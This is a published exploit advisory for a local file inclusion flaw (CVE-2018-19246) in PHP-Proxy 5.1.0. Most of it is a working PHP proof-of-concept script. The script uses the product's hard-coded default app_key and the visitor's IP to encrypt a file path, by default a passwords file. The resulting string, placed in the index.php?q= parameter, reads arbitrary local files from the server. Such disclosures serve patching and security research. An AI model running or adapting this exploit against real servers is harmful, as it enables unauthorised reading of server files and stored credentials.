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PHP-Proxy 5.1.0 Local File Inclusion

PHP-Proxy 5.1.0 Local File Inclusion
Posted Nov 15, 2018
Authored by Ameer Pornillos

PHP-Proxy version 5.1.0 suffers from a local file inclusion vulnerability.

tags | exploit, local, php, file inclusion
advisories | CVE-2018-19246
MD5 | 96c23b5c4ac90b08c6b144a53cf3862d

PHP-Proxy 5.1.0 Local File Inclusion

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# Exploit Title: PHP-Proxy 5.1.0 - Local File Inclusion
# Date: 2018-11-13
# Exploit Author: Ameer Pornillos
# Contact: https://ethicalhackers.club
# Vendor Homepage: https://www.php-proxy.com/
# Software Link: https://www.php-proxy.com/download/php-proxy.zip
# Version: 5.1.0
# Category: Webapps
# Tested on: XAMPP on Win10_x64
# Description: Downloadable pre-installed version of PHP-Proxy 5.1.0
# make use of a default app_key wherein can be used for local file inclusion
# attacks. This can be used to generate encrypted string which
# can gain access to arbitrary local files in the server.
# http://php-proxy-site/index.php?q=[encrypted_string_value]
# CVE: CVE-2018-19246

# POC:
# 1)
# Generate encrypted string value using the PHP script below
# 2)
# Browse to URL
# http://php-proxy-site/index.php?q=[encrypted_string_value]
# to read local file

<?php
$file = "file:///C:/xampp/passwords.txt"; //example target file to read
$ip = "192.168.0.1"; //change depending on your IP address that access the app
$app_key = "aeb067ca0aa9a3193dce3a7264c90187";
$key = md5($app_key.$ip);
function str_rot_pass($str, $key, $decrypt = false){
$key_len = strlen($key);
$result = str_repeat(' ', strlen($str));
for($i=0; $i<strlen($str); $i++){
if($decrypt){
$ascii = ord($str[$i]) - ord($key[$i % $key_len]);
} else {
$ascii = ord($str[$i]) + ord($key[$i % $key_len]);
}
$result[$i] = chr($ascii);
}
return $result;
}
function base64_url_encode($input){
return rtrim(strtr(base64_encode($input), '+/', '-_'), '=');
}
echo base64_url_encode(str_rot_pass($file, $key));
?>


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